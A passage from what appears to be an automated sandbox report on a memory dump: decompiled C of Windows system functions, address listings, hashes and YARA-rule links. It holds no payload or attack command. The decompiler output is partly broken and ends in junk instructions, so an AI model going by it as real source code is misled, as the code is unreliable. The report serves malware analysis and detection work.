																													 *_t358 = _t370;
																													__eflags = _t370 - _t344;
																													if(_t370 <= _t344) {
																														L149:
																														 *_t358 = 0;
																														goto L150;
																													} else {
																														__eflags = _t307;
																														if(_t307 == 0) {
																															goto L95;
																														} else {
																															__eflags = _t370 - _t344 + _t307;
																															if(_t370 >= _t344 + _t307) {
																																goto L149;
																															} else {
																																goto L95;
																															}
																														}
																													}
																												}
																											}
																										}
																									}
																								}
																								goto L97;
																							}
																						}
																						goto L143;
																					}
																				}
																			}
																		} else {
																			__eflags = _v40 - _t307 + _t344;
																			if(_v40 >= _t307 + _t344) {
																				goto L150;
																			} else {
																				goto L75;
																			}
																		}
																	}
																}
															}
															L97:
															 *[fs:0x0] = _v20;
															return _t211;
														}
													}
												}
											}
										} else {
											goto L46;
										}
									}
								}
								goto L151;
							}
							_t288 = _v164;
							_t366 = 0xc0000135;
							goto L41;
						}
					}
				}
				L151:
			}

0x1e10d5f2
0x1e10d5f5
0x1e10d5f5
0x1e10d5fd
0x1e10d600
0x1e10d60a
0x1e10d60d
0x1e10d617
0x1e10d61d
0x1e10d627
0x1e10d62e
0x1e10d911
0x1e10d913
0x00000000
0x1e10d919
0x1e10d919
0x1e10d919
0x1e10d634
0x1e10d634
0x1e10d634
0x1e10d634
0x1e10d640
0x1e10d8bf
0x00000000
0x1e10d646
0x1e10d646
0x1e10d64d
0x1e10d652
0x1e15b2fc
0x1e15b2fc
0x1e15b302
0x1e15b33b
0x1e15b341
0x00000000
0x1e15b304
0x1e15b304
0x1e15b319
0x1e15b31e
0x1e15b324
0x1e15b326
0x1e15b332
0x1e15b347
0x1e15b34c
0x1e15b351
0x1e15b35a
0x00000000
0x1e15b328
0x1e15b328
0x00000000
0x1e15b328
0x1e15b326
0x1e10d658
0x1e10d658
0x1e10d65b
0x1e10d665
0x00000000
0x1e10d66b
0x1e10d66b
0x1e10d66b
0x1e10d66b
0x1e10d66d
0x1e10d672
0x1e10d67a
0x00000000
0x00000000
0x1e10d680
0x1e10d686
0x1e10d8ce
0x1e10d8d4
0x1e10d8dd
0x1e10d8e0
0x1e10d68c
0x1e10d691
0x1e10d69d
0x1e10d6a2
0x1e10d6a7
0x1e10d6b0
0x1e10d6b5
0x1e10d6e0
0x1e10d6b7
0x1e10d6b7
0x1e10d6b9
0x1e10d6b9
0x1e10d6bb
0x1e10d6bd
0x1e10d6ce
0x1e10d6d0
0x1e10d6d2
0x1e15b363
0x1e15b365
0x00000000
0x1e15b36b
0x00000000
0x1e15b36b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x1e10d6bf
0x1e10d6bf
0x1e10d6e5
0x1e10d6e7
0x1e10d6e9
0x1e10d6ec
0x1e10d6ec
0x1e10d6ef
0x1e10d6f5
0x1e10d6f9
0x1e10d6fb
0x1e10d6fd
0x1e10d701
0x1e10d703
0x1e10d70a
0x1e10d70a
0x1e10d701
0x1e10d710
0x1e10d710
0x1e10d6c1
0x1e10d6c1
0x1e10d6c6
0x1e15b36d
0x1e15b36f
0x00000000
0x1e15b375
0x1e15b375
0x1e15b375
0x00000000
0x1e15b375
0x00000000
0x1e10d6cc
0x1e10d6d8
0x1e10d6d8
0x1e10d6d8
0x00000000
0x1e10d6c6
0x1e10d6bf
0x00000000
0x1e10d6da
0x1e10d6da
0x1e10d716
0x1e10d71b
0x1e10d720
0x1e10d726
0x1e10d726
0x1e10d72d
0x00000000
0x1e10d733
0x1e10d739
0x1e10d742
0x1e10d750
0x1e10d758
0x1e10d764
0x1e10d776
0x1e10d77a
0x1e10d783
0x1e10d928
0x1e10d92c
0x1e10d93d
0x1e10d944
0x1e10d94f
0x1e10d954
0x1e10d956
0x1e10d95f
0x1e10d961
0x1e10d973
0x1e10d973
0x1e10d956
0x1e10d944
0x1e10d92c
0x1e10d78b
0x1e15b394
0x1e10d791
0x1e10d798
0x1e15b3a3
0x1e15b3bb
0x1e15b3bb
0x1e10d7a5
0x1e10d866
0x1e10d870
0x1e10d884
0x1e10d892
0x1e10d898
0x1e10d89e
0x1e10d8a0
0x1e10d8a6
0x1e10d8ac
0x1e10d8ae
0x1e10d8b4
0x1e10d8b4
0x1e10d8ae
0x1e10d7a5
0x1e10d78b
0x1e10d7b1
0x1e15b3c5
0x1e15b3c5
0x1e10d7c3
0x1e10d7ca
0x1e10d7e5
0x1e10d7eb
0x1e10d8eb
0x1e10d8ed
0x00000000
0x1e10d8f3
0x1e10d8f3
0x1e10d8f3
0x00000000
0x1e10d8ed
0x1e10d7cc
0x1e10d7cc
0x1e10d7d2
0x00000000
0x1e10d7d4
0x1e10d7d4
0x1e10d7d7
0x1e10d7df
0x1e15b3d4
0x1e15b3d9
0x1e15b3dc
0x1e15b3dc
0x1e15b3df
0x1e15b3e2
0x1e15b468
0x1e15b46d
0x1e15b46f
0x1e15b46f
0x1e15b475
0x1e10d8f8
0x1e10d8f9
0x1e10d8fd
0x1e15b3e8
0x1e15b3e8
0x1e15b3eb
0x1e15b3ed
0x00000000
0x1e15b3ef
0x1e15b3ef
0x1e15b3f1
0x1e15b3f4
0x1e15b3fe
0x1e15b404
0x1e15b409
0x1e15b40e
0x1e15b410
0x1e15b410
0x1e15b414
0x1e15b414
0x1e15b41b
0x1e15b420
0x1e15b423
0x1e15b425
0x1e15b427
0x1e15b42a
0x1e15b42d
0x1e15b42d
0x1e15b42a
0x1e15b432
0x1e15b436
0x1e15b438
0x1e15b43b
0x1e15b43b
0x1e15b449
0x1e15b44e
0x1e15b454
0x1e15b458
0x1e15b458
0x1e15b45d
0x00000000
0x1e15b45d
0x1e15b3ed
0x00000000
0x00000000
0x00000000
0x1e10d7df
0x1e10d7d2
0x1e10d7ca
0x1e15b37c
0x1e15b37e
0x1e15b385
0x1e15b38a
0x00000000
0x1e15b38a
0x1e10d742
0x1e10d7f1
0x1e10d7f8
0x1e15b49b
0x1e15b49b
0x1e10d800
0x1e10d837
0x1e10d843
0x1e10d845
0x1e10d847
0x1e10d84a
0x1e10d84b
0x1e10d84e
0x1e10d857
0x1e10d802
0x1e10d802
0x1e10d80d
0x00000000
0x1e10d818
0x1e10d818
0x1e10d824
0x1e10d831
0x1e15b4a5
0x1e15b4ab
0x1e15b4b3
0x1e15b4b8
0x1e15b4bb
0x00000000
0x1e15b4c1
0x1e15b4c1
0x1e15b4c8
0x00000000
0x1e15b4ce
0x1e15b4d4
0x1e15b4e1
0x1e15b4e3
0x1e15b4e5
0x00000000
0x1e15b4eb
0x1e15b4f0
0x1e15b4f2
0x1e10dac9
0x1e10dacc
0x1e10dacf
0x1e10dad1
0x1e10dd78
0x1e10dd78
0x1e10dcf2
0x00000000
0x1e10dad7
0x1e10dad9
0x1e10dadb
0x00000000
0x00000000
0x1e10dae1
0x1e10dae1
0x1e10dae4
0x1e10dae6
0x1e15b4f9
0x1e15b4f9
0x1e15b500
0x1e10daec
0x1e10daec
0x1e10daf5
0x1e10daf8
0x1e10dafb
0x1e10db03
0x1e10db11
0x1e10db16
0x1e10db19
0x1e10db1b
0x1e15b52c
0x1e15b531
0x1e15b534
0x1e10db21
0x1e10db21
0x1e10db24
0x1e10dcd9
0x1e10dce2
0x1e10dce5
0x1e10dd6a
0x1e10dd6d
0x00000000
0x1e10dd73
0x1e15b51a
0x1e15b51c
0x1e15b51f
0x1e15b524
0x00000000
0x1e15b524
0x1e10dce7
0x1e10dce7
0x1e10dce7
0x00000000
0x1e10dce7
0x00000000
0x1e10db2a
0x1e10db2c
0x1e10db31
0x1e10db33
0x1e10db36
0x1e10db39
0x1e10db3b
0x1e10db66
0x1e10db66
0x1e10db3d
0x1e10db3d
0x1e10db3e
0x1e10db46
0x1e10db47
0x1e10db49
0x1e10db4c
0x1e10db53
0x1e10db55
0x1e10db58
0x1e10db5a
0x1e15b50a
0x1e15b50f
0x1e15b512
0x1e10db60
0x1e10db60
0x1e10db63
0x1e10db63
0x00000000
0x1e10db63
0x1e10db5a
0x1e10db3b
0x1e10db24
0x1e10db69
0x1e10db69
0x1e10db6c
0x1e10db6f
0x1e10db74
0x1e15b557
0x1e15b557
0x1e15b55e
0x1e10db7a
0x1e10db7c
0x1e10db7f
0x1e10db82
0x1e10db85
0x00000000
0x1e10db8b
0x1e10db8b
0x1e10db8d
0x1e10db9b
0x1e10db9b
0x1e10db9d
0x1e10dba0
0x1e10dba2
0x1e10dba4
0x1e10dba7
0x1e10dba9
0x1e10dbae
0x1e10dbae
0x1e10dbb1
0x1e10dbb4
0x1e10dbb4
0x1e10dbb7
0x1e10dbba
0x1e10dcd2
0x1e10dcd4
0x00000000
0x1e10dbc0
0x1e10dbc0
0x1e10dbd2
0x1e10dbd7
0x1e10dbda
0x1e10dbdd
0x1e10dbdf
0x00000000
0x1e10dbe5
0x1e10dbe5
0x1e10dbee
0x1e10dbf1
0x1e15b541
0x1e15b544
0x00000000
0x1e15b546
0x1e15b546
0x00000000
0x1e15b546
0x1e10dbf7
0x1e10dbf7
0x1e10dbfd
0x1e10dbfd
0x1e10dbff
0x1e10dc0b
0x1e10dc15
0x1e10dc1b
0x1e10dc1d
0x1e10dc21
0x1e10dc21
0x1e10dc23
0x1e10dc23
0x1e10dc26
0x1e10dc29
0x1e10dc2b
0x00000000
0x00000000
0x1e10dc31
0x1e10dc34
0x1e10dc36
0x1e10dcbf
0x1e10dcbf
0x1e10dcc2
0x00000000
0x1e10dc3c
0x1e10dc41
0x1e10dc43
0x00000000
0x1e10dc45
0x1e10dc45
0x1e10dc47
0x00000000
0x1e10dc4d
0x1e10dc4d
0x1e10dc50
0x1e10dc52
0x1e10dc55
0x1e10dcfa
0x1e10dcfe
0x1e10dd08
0x1e10dd0a
0x1e10dd0c
0x00000000
0x1e10dd12
0x1e10dd15
0x1e10dd2d
0x1e10dd2f
0x1e10dd32
0x1e10dd35
0x00000000
0x1e10dd35
0x1e10dc5b
0x1e10dc5b
0x1e10dc5e
0x1e10dc61
0x1e10dc64
0x1e10dc67
0x1e10dc67
0x1e10dc6a
0x1e10dc6c
0x1e10dc8e
0x1e10dc8e
0x1e10dc91
0x1e10dc93
0x1e10dcce
0x1e10dcce
0x1e10dc95
0x1e10dc9c
0x1e10dc6e
0x1e10dc72
0x1e10dc75
0x1e10dc77
0x1e10dc79
0x1e15b551
0x1e15b551
0x00000000
0x1e10dc7f
0x1e10dc7f
0x1e10dc81
0x00000000
0x1e10dc83
0x1e10dc86
0x1e10dc88
0x00000000
0x00000000
0x00000000
0x00000000
0x1e10dc88
0x1e10dc81
0x1e10dc79
0x1e10dc6c
0x1e10dc55
0x1e10dc47
0x1e10dc43
0x00000000
0x1e10dc36
0x1e10dc23
0x00000000
0x1e10dbff
0x1e10dbf1
0x1e10dbdf
0x1e10db8f
0x1e10db92
0x1e10db95
0x00000000
0x00000000
0x00000000
0x00000000
0x1e10db95
0x1e10db8d
0x1e10db85
0x1e10db74
0x1e10dc9f
0x1e10dca2
0x1e10dcb0
0x1e10dcb0
0x1e10dad1
0x1e15b4e5
0x1e15b4c8
0x00000000
0x00000000
0x00000000
0x1e10d831
0x1e10d80d
0x00000000
0x1e10d800
0x1e15b47f
0x1e15b485
0x00000000
0x1e15b485
0x1e10d665
0x1e10d652
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 1E10D898

Memory Dump Source

Source File: 00000009.00000002.479050580.000000001E0D0000.00000040.00000001.sdmp, Offset: 1E0D0000, based on PE: true

Associated: 00000009.00000002.479278835.000000001E1EB000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: ffea95cfbc4c6ffdee94dec69088e6b2dd836b8f42a925967aaf264c497e08a9
Instruction ID: 1eb6d2ff0ed8b34415e83046d13a1886d796c84845f50435eab11b3c45a5dd4c
Opcode Fuzzy Hash: ffea95cfbc4c6ffdee94dec69088e6b2dd836b8f42a925967aaf264c497e08a9
Instruction Fuzzy Hash: 84E1B174A0029ACFDB21CF25C990BADB7B2BF85314F6143A9E91A67290D734ADC1CF51

Uniqueness

Uniqueness Score: -1.00%

Function 1E1BD466, Relevance: 1.6, APIs: 1, Instructions: 123
timeCOMMONCrypto

Download Yara Rule

C-Code - Quality: 67%

			E1E1BD466(signed int __ecx, unsigned int __edx, void* __eflags, intOrPtr _a4) {
				signed int _v8;
				char _v9;
				intOrPtr _v16;
				short _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t53;
				signed int _t67;
				signed char _t75;
				short _t84;
				signed int _t87;
				short* _t89;
				unsigned int _t90;
				signed int _t95;
				void* _t98;
				signed int _t99;

				_v8 =  *0x1e1ed360 ^ _t99;
				_t90 = __edx;
				_v36 = __ecx;
				_v20 = 0;
				_v40 = __edx >> 0x0000000c & 0x0000ffff ^  *(__edx + 0x18) & 0x0000ffff ^  *0x1e1e6114 & 0x0000ffff;
				_v28 = 0;
				_t87 = E1E1BDDF9(__edx, _a4, __edx >> 0x0000000c & 0x0000ffff ^  *(__edx + 0x18) & 0x0000ffff ^  *0x1e1e6114 & 0x0000ffff,  &_v24,  &_v28, __edx >> 0x0000000c & 0x0000ffff ^  *(__edx + 0x18) & 0x0000ffff ^  *0x1e1e6114 & 0x0000ffff,  &_v9);
				_v32 = _t87;
				if(_t87 != 0xffffffff) {
					_t75 =  *(__edx + 0x1c) & 0x000000ff;
					_v20 = 1;
					_v16 = 1;
					 *0x1e1eb1e0( *__ecx, (_t87 << _t75) + __edx, _v24 << _t75);
					_t53 =  *( *(__ecx + 0xc) ^  *0x1e1e6110 ^ __ecx)();
					_t69 = _t53;
					if(_t53 < 0) {
						_t88 = _v16;
					} else {
						_t69 = 0;
						_t98 = 0;
						_t89 = ( *(__edx + 0x1e) & 0x0000ffff) + __edx + _v32 * 2;
						asm("sbb eax, eax");
						_t67 =  !(_v24 + _v24 + _t89) & _v24 + _v24 >> 0x00000001;
						if(_t67 > 0) {
							_t84 = _v20;
							do {
								if( *_t89 == _t69) {
									 *_t89 = _t84;
								}
								_t89 = _t89 + 2;
								_t98 = _t98 + 1;
							} while (_t98 < _t67);
						}
						goto L2;
						L18:
					}
				} else {
					_t69 = 0;
					L2:
					_t88 = _t69;
				}
				_t95 = _v28;
				if(_t95 != 0) {
					_t95 =  ~(_t95 <<  *(_t90 + 0x1c) >> 0xc);
					asm("lock xadd [eax], esi");
				}
				if(_t88 != 0) {
					_t88 = _a4;
					E1E1BD864(_t90, _a4, _v40, 2, 0);
				}
				if(_v20 != 0) {
					E1E10FFB0(_t69, _t90, _t90 + 0xc);
				}
				return E1E13B640(_t69, _t69, _v8 ^ _t99, _t88, _t90, _t95);
				goto L18;
			}

0x1e1bd475
0x1e1bd47b
0x1e1bd492
0x1e1bd49e
0x1e1bd4a4
0x1e1bd4ac
0x1e1bd4bc
0x1e1bd4be
0x1e1bd4c4
0x1e1bd4cc
0x1e1bd4dc
0x1e1bd4e1
0x1e1bd4f5
0x1e1bd4fb
0x1e1bd4fd
0x1e1bd501
0x1e1bd53d
0x1e1bd503
0x1e1bd507
0x1e1bd50e
0x1e1bd510
0x1e1bd520
0x1e1bd524
0x1e1bd526
0x1e1bd528
0x1e1bd52b
0x1e1bd52e
0x1e1bd530
0x1e1bd530
0x1e1bd533
0x1e1bd536
0x1e1bd537
0x1e1bd53b
0x00000000
0x00000000
0x1e1bd526
0x1e1bd4c6
0x1e1bd4c6
0x1e1bd4c8
0x1e1bd4c8
0x1e1bd4c8
0x1e1bd540
0x1e1bd545
0x1e1bd555
0x1e1bd55a
0x1e1bd55a
0x1e1bd560
0x1e1bd562
0x1e1bd56e
0x1e1bd56e
0x1e1bd577
0x1e1bd57d
0x1e1bd57d
0x1e1bd594
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 1E1BD4F5

Memory Dump Source

Source File: 00000009.00000002.479050580.000000001E0D0000.00000040.00000001.sdmp, Offset: 1E0D0000, based on PE: true

Associated: 00000009.00000002.479278835.000000001E1EB000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: d37b64e361aa95ce0fcabd8b97d4abb5e4a20720990494f0bdec25300f9b1074
Instruction ID: 899584e6b8313b533dc645a96e3c8d34aa927c86112bb67aa2a4d87459df0146
Opcode Fuzzy Hash: d37b64e361aa95ce0fcabd8b97d4abb5e4a20720990494f0bdec25300f9b1074
Instruction Fuzzy Hash: C441A171F0012A9BCB04CFA9C891ABFB7F5FF88214B554229E815EB244DB30ED81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1E122581, Relevance: 1.6, Strings: 1, Instructions: 329
COMMONCrypto

Download Yara Rule

C-Code - Quality: 79%

			E1E122581(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, signed int _a4, char _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24) {
				signed int _v8;
				signed int _v16;
				unsigned int _v24;
				void* _v28;
				signed int _v32;
				unsigned int _v36;
				signed int _v37;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _t230;
				signed int _t234;
				signed int _t237;
				signed int _t243;
				signed int _t245;
				intOrPtr _t247;
				signed int _t250;
				signed int _t257;
				signed int _t260;
				signed int _t268;
				intOrPtr _t274;
				signed int _t276;
				signed int _t278;
				void* _t279;
				signed int _t280;
				unsigned int _t283;
				signed int _t287;
				signed int _t289;
				signed int _t293;
				signed int _t304;
				intOrPtr _t306;
				signed int _t315;
				signed int _t317;
				signed int _t318;
				signed int _t322;
				signed int _t323;
				void* _t326;
				signed int _t327;
				signed int _t329;
				signed int _t332;
				signed int _t333;
				void* _t335;

				_t329 = _t332;
				_t333 = _t332 - 0x4c;
				_v8 =  *0x1e1ed360 ^ _t329;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t322 = 0x1e1eb2e8;
				_v56 = _a4;
				_v48 = __edx;
				_v60 = __ecx;
				_t283 = 0;
				_v80 = 0;
				asm("movsd");
				_v64 = 0;
				_v76 = 0;
				_v72 = 0;
				asm("movsd");
				_v44 = 0;
				_v52 = 0;
				_v68 = 0;
				asm("movsd");
				_v32 = 0;
				_v36 = 0;
				asm("movsd");
				_v16 = 0;
				_t274 = 0x48;
				_t303 = 0 | (_v24 >> 0x0000001c & 0x00000003) == 0x00000001;
				_t315 = 0;
				_v37 = _t303;
				if(_v48 <= 0) {
					L16:
					_t45 = _t274 - 0x48; // 0x0
					__eflags = _t45 - 0xfffe;
					if(_t45 > 0xfffe) {
						_t323 = 0xc0000106;
						goto L32;
					} else {
						_t322 = L1E114620(_t283,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t274);
						_v52 = _t322;
						__eflags = _t322;
						if(_t322 == 0) {
							_t323 = 0xc0000017;
							goto L32;
						} else {
							 *(_t322 + 0x44) =  *(_t322 + 0x44) & 0x00000000;
							_t50 = _t322 + 0x48; // 0x48
							_t317 = _t50;
							_t303 = _v32;
							 *((intOrPtr*)(_t322 + 0x3c)) = _t274;
							_t276 = 0;
							 *((short*)(_t322 + 0x30)) = _v48;
							__eflags = _t303;
							if(_t303 != 0) {
								 *(_t322 + 0x18) = _t317;
								__eflags = _t303 - 0x1e1e8478;
								 *_t322 = ((0 | _t303 == 0x1e1e8478) - 0x00000001 & 0xfffffffb) + 7;
								E1E13F3E0(_t317,  *((intOrPtr*)(_t303 + 4)),  *_t303 & 0x0000ffff);
								_t303 = _v32;
								_t333 = _t333 + 0xc;
								_t276 = 1;
								__eflags = _a8;
								_t317 = _t317 + (( *_t303 & 0x0000ffff) >> 1) * 2;
								if(_a8 != 0) {
									_t268 = E1E1839F2(_t317);
									_t303 = _v32;
									_t317 = _t268;
								}
							}
							_t287 = 0;
							_v16 = 0;
							__eflags = _v48;
							if(_v48 <= 0) {
								L31:
								_t323 = _v68;
								__eflags = 0;
								 *((short*)(_t317 - 2)) = 0;
								goto L32;
							} else {
								_t278 = _t322 + _t276 * 4;
								_v56 = _t278;
								do {
									__eflags = _t303;
									if(_t303 != 0) {
										_t230 =  *(_v60 + _t287 * 4);
										__eflags = _t230;
										if(_t230 == 0) {
											goto L30;
										} else {
											__eflags = _t230 == 5;
											if(_t230 == 5) {
												goto L30;
											} else {
												goto L22;
											}
										}
									} else {
										L22:
										 *_t278 =  *(_v60 + _t287 * 4);
										 *(_t278 + 0x18) = _t317;
										_t234 =  *(_v60 + _t287 * 4);
										__eflags = _t234 - 8;
										if(_t234 > 8) {
											goto L56;
										} else {
											switch( *((intOrPtr*)(_t234 * 4 +  &M1E122959))) {
												case 0:
													__ax =  *0x1e1e8488;
													__eflags = __ax;
													if(__ax == 0) {
														goto L29;
													} else {
														__ax & 0x0000ffff = E1E13F3E0(__edi,  *0x1e1e848c, __ax & 0x0000ffff);
														__eax =  *0x1e1e8488 & 0x0000ffff;
														goto L26;
													}
													goto L108;
												case 1:
													L45:
													E1E13F3E0(_t317, _v80, _v64);
													_t263 = _v64;
													goto L26;
												case 2:
													 *0x1e1e8480 & 0x0000ffff = E1E13F3E0(__edi,  *0x1e1e8484,  *0x1e1e8480 & 0x0000ffff);
													__eax =  *0x1e1e8480 & 0x0000ffff;
													__eax = ( *0x1e1e8480 & 0x0000ffff) >> 1;
													__edi = __edi + __eax * 2;
													goto L28;
												case 3:
													__eax = _v44;
													__eflags = __eax;
													if(__eax == 0) {
														goto L29;
													} else {
														__esi = __eax + __eax;
														__eax = E1E13F3E0(__edi, _v72, __esi);
														__edi = __edi + __esi;
														__esi = _v52;
														goto L27;
													}
													goto L108;
												case 4:
													_push(0x2e);
													_pop(__eax);
													 *(__esi + 0x44) = __edi;
													 *__edi = __ax;
													__edi = __edi + 4;
													_push(0x3b);
													_pop(__eax);
													 *(__edi - 2) = __ax;
													goto L29;
												case 5:
													__eflags = _v36;
													if(_v36 == 0) {
														goto L45;
													} else {
														E1E13F3E0(_t317, _v76, _v36);
														_t263 = _v36;
													}
													L26:
													_t333 = _t333 + 0xc;
													_t317 = _t317 + (_t263 >> 1) * 2 + 2;
													__eflags = _t317;
													L27:
													_push(0x3b);
													_pop(_t265);
													 *((short*)(_t317 - 2)) = _t265;
													goto L28;
												case 6:
													__ebx =  *0x1e1e575c;
													__eflags = __ebx - 0x1e1e575c;
													if(__ebx != 0x1e1e575c) {
														_push(0x3b);
														_pop(__esi);
														do {
															 *(__ebx + 8) & 0x0000ffff = __ebx + 0xa;
															E1E13F3E0(__edi, __ebx + 0xa,  *(__ebx + 8) & 0x0000ffff) =  *(__ebx + 8) & 0x0000ffff;
															__eax = ( *(__ebx + 8) & 0x0000ffff) >> 1;
															__edi = __edi + __eax * 2;
															__edi = __edi + 2;
															 *(__edi - 2) = __si;
															__ebx =  *__ebx;
															__eflags = __ebx - 0x1e1e575c;
														} while (__ebx != 0x1e1e575c);
														__esi = _v52;
														__ecx = _v16;
														__edx = _v32;
													}
													__ebx = _v56;
													goto L29;
												case 7:
													 *0x1e1e8478 & 0x0000ffff = E1E13F3E0(__edi,  *0x1e1e847c,  *0x1e1e8478 & 0x0000ffff);
													__eax =  *0x1e1e8478 & 0x0000ffff;
													__eax = ( *0x1e1e8478 & 0x0000ffff) >> 1;
													__eflags = _a8;
													__edi = __edi + __eax * 2;
													if(_a8 != 0) {
														__ecx = __edi;
														__eax = E1E1839F2(__ecx);
														__edi = __eax;
													}
													goto L28;
												case 8:
													__eax = 0;
													 *(__edi - 2) = __ax;
													 *0x1e1e6e58 & 0x0000ffff = E1E13F3E0(__edi,  *0x1e1e6e5c,  *0x1e1e6e58 & 0x0000ffff);
													 *(__esi + 0x38) = __edi;
													__eax =  *0x1e1e6e58 & 0x0000ffff;
													__eax = ( *0x1e1e6e58 & 0x0000ffff) >> 1;
													__edi = __edi + __eax * 2;
													__edi = __edi + 2;
													L28:
													_t287 = _v16;
													_t303 = _v32;
													L29:
													_t278 = _t278 + 4;
													__eflags = _t278;
													_v56 = _t278;
													goto L30;
											}
										}
									}
									goto L108;
									L30:
									_t287 = _t287 + 1;
									_v16 = _t287;
									__eflags = _t287 - _v48;
								} while (_t287 < _v48);
								goto L31;
							}
						}
					}
				} else {
					while(1) {
						L1:
						_t234 =  *(_v60 + _t315 * 4);
						if(_t234 > 8) {
							break;
						}
						switch( *((intOrPtr*)(_t234 * 4 +  &M1E122935))) {
							case 0:
								__ax =  *0x1e1e8488;
								__eflags = __ax;
								if(__ax != 0) {
									__eax = __ax & 0x0000ffff;
									__ebx = __ebx + 2;
									__eflags = __ebx;
									goto L53;
								}
								goto L14;
							case 1:
								L44:
								_t303 =  &_v64;
								_v80 = E1E122E3E(0,  &_v64);
								_t274 = _t274 + _v64 + 2;
								goto L13;
							case 2:
								__eax =  *0x1e1e8480 & 0x0000ffff;
								__ebx = __ebx + __eax;
								__eflags = __dl;
								if(__dl != 0) {
									__eax = 0x1e1e8480;
									goto L80;
								}
								goto L14;
							case 3:
								__eax = E1E10EEF0(0x1e1e79a0);
								__eax =  &_v44;
								_push(__eax);
								_push(0);
								_push(0);
								_push(4);
								_push(L"PATH");
								_push(0);
								L57();
								__esi = __eax;
								_v68 = __esi;
								__eflags = __esi - 0xc0000023;
								if(__esi != 0xc0000023) {
									L10:
									__eax = E1E10EB70(__ecx, 0x1e1e79a0);
									__eflags = __esi - 0xc0000100;
									if(__esi == 0xc0000100) {
										_v44 = _v44 & 0x00000000;
										__eax = 0;
										_v68 = 0;
										goto L13;
									} else {
										__eflags = __esi;
										if(__esi < 0) {
											L32:
											_t208 = _v72;
											__eflags = _t208;
											if(_t208 != 0) {
												L1E1177F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t208);
											}
											_t209 = _v52;
											__eflags = _t209;
											if(_t209 != 0) {
												__eflags = _t323;
												if(_t323 < 0) {
													L1E1177F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t209);
													_t209 = 0;
												}
											}
											goto L36;
										} else {
											__eax = _v44;
											__ebx = __ebx + __eax * 2;
											__ebx = __ebx + 2;
											__eflags = __ebx;
											L13:
											_t283 = _v36;
											goto L14;
										}
									}
								} else {
									__eax = _v44;
									__ecx =  *0x1e1e7b9c; // 0x0
									_v44 + _v44 =  *[fs:0x30];
									__ecx = __ecx + 0x180000;
									__eax = L1E114620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), __ecx,  *[fs:0x30]);
									_v72 = __eax;
									__eflags = __eax;
									if(__eax == 0) {
										__eax = E1E10EB70(__ecx, 0x1e1e79a0);
										__eax = _v52;
										L36:
										_pop(_t316);
										_pop(_t324);
										__eflags = _v8 ^ _t329;
										_pop(_t275);
										return E1E13B640(_t209, _t275, _v8 ^ _t329, _t303, _t316, _t324);
									} else {
										__ecx =  &_v44;
										_push(__ecx);
										_push(_v44);
										_push(__eax);
										_push(4);
										_push(L"PATH");
										_push(0);
										L57();
										__esi = __eax;
										_v68 = __eax;
										goto L10;
									}
								}
								goto L108;
							case 4:
								__ebx = __ebx + 4;
								goto L14;
							case 5:
								_t270 = _v56;
								if(_v56 != 0) {
									_t303 =  &_v36;
									_t272 = E1E122E3E(_t270,  &_v36);
									_t283 = _v36;
									_v76 = _t272;
								}
								if(_t283 == 0) {
									goto L44;
								} else {
									_t274 = _t274 + 2 + _t283;
								}
								goto L14;
							case 6:
								__eax =  *0x1e1e5764 & 0x0000ffff;
								goto L53;
							case 7:
								__eax =  *0x1e1e8478 & 0x0000ffff;
								__ebx = __ebx + __eax;
								__eflags = _a8;
								if(_a8 != 0) {
									__ebx = __ebx + 0x16;
									__ebx = __ebx + __eax;
								}
								__eflags = __dl;
								if(__dl != 0) {
									__eax = 0x1e1e8478;
									L80:
									_v32 = __eax;
								}
								goto L14;
							case 8:
								__eax =  *0x1e1e6e58 & 0x0000ffff;
								__eax = ( *0x1e1e6e58 & 0x0000ffff) + 2;
								L53:
								__ebx = __ebx + __eax;
								L14:
								_t315 = _t315 + 1;
								if(_t315 >= _v48) {
									goto L16;
								} else {
									_t303 = _v37;
									goto L1;
								}
								goto L108;
						}
					}
					L56:
					_push(0x25);
					asm("int 0x29");
					asm("out 0x28, al");
					asm("adc bl, [esi]");
					asm("o16 sub [edx], dl");
					_push(ds);
					asm("loopne 0x29");
					asm("adc bl, [esi]");
					asm("adc bl, [es:esi]");
					 *_t303 =  *_t303 - _t303;
					_t279 = ds;
					_push(ss);
					_push(ds);
					_t335 = _t234 + 0x1f1e1226;
					 *_t303 =  *_t303 - _t303;
					_push(ds);
					_t237 = _t333 ^ 0x021e165b;
					 *_t303 =  *_t303 - _t303;
					_push(ds);
					 *_t237 =  *_t237 - 0x12;
					_push(ds);
					_t304 = _t237 *  *_t317 >> 0x20;
					asm("adc bl, [esi]");
					_push(ds);
					 *_t304 =  *_t304 - _t304;
					_push(ds);
					_t326 = _t322 + 1 - 1;
					 *_t304 =  *_t304 - _t304;
					_push(ds);
					asm("daa");
					asm("adc bl, [esi]");
					asm("fcomp dword [ebx+0x16]");
					_push(ds);
					asm("adc bl, [esi]");
					_push(ss);
					_push(ds);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(0x20);
					_push(0x1e1cff00);
					E1E14D08C(_t279, _t317, _t326);
